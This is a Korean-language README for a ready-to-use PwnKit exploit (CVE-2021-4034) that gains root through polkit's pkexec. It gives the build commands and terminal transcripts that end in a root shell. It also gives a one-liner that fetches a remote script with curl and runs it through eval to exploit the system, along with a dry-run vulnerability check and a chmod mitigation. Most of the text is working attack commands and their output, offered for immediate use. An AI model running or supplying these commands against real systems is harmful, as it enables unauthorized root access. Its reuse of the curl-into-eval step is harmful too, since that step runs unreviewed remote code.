
polkit 권한 상승 취약점을 위한 즉시 사용 가능한 익스플로잇
make, ./cve-2021-4034를 실행하고 root 셸을 즐기세요.
실제 작성자의 원본 권고는 여기에 있습니다.
익스플로잇이 작동하면 즉시 root 셸을 얻습니다:
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
대부분의 시스템에서 polkit을 업데이트하면 익스플로잇이 패치되므로, 사용법이 출력되고 프로그램이 종료됩니다:
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
셸을 실행하지 않고 시스템이 취약한지만 테스트하려면 dry-run 대상을 컴파일하세요.
프로그램이 "root"를 출력하면서 종료되면 시스템이 해당 익스플로잇에 취약하다는 의미입니다.
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1
시스템이 취약하지 않으면 오류를 출력하고 종료됩니다.
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0
Polkit(이전 이름 PolicyKit)은 Unix 계열 운영 체제에서 시스템 전체 권한을 제어하는 구성 요소입니다. 권한이 없는 프로세스가 권한이 있는 프로세스와 통신할 수 있는 체계적인 방법을 제공합니다. 또한 pkexec 명령 뒤에 실행하려는 명령(루트 권한)을 붙여 polkit을 사용하여 상승된 권한으로 명령을 실행할 수도 있습니다.
다음 명령을 사용하여 다운로드 및 실행 가능한 단일 스크립트로 시스템을 쉽게 익스플로잇할 수 있습니다:
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root
운영 체제에 패치가 제공되지 않는 경우 임시 완화 조치로 pkexec에서 SUID 비트를 제거할 수 있습니다.
# chmod 0755 /usr/bin/pkexec
그러면 익스플로잇이 pkexec에 setuid 비트가 활성화되어 있어야 한다는 오류를 출력하며 실패합니다.
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root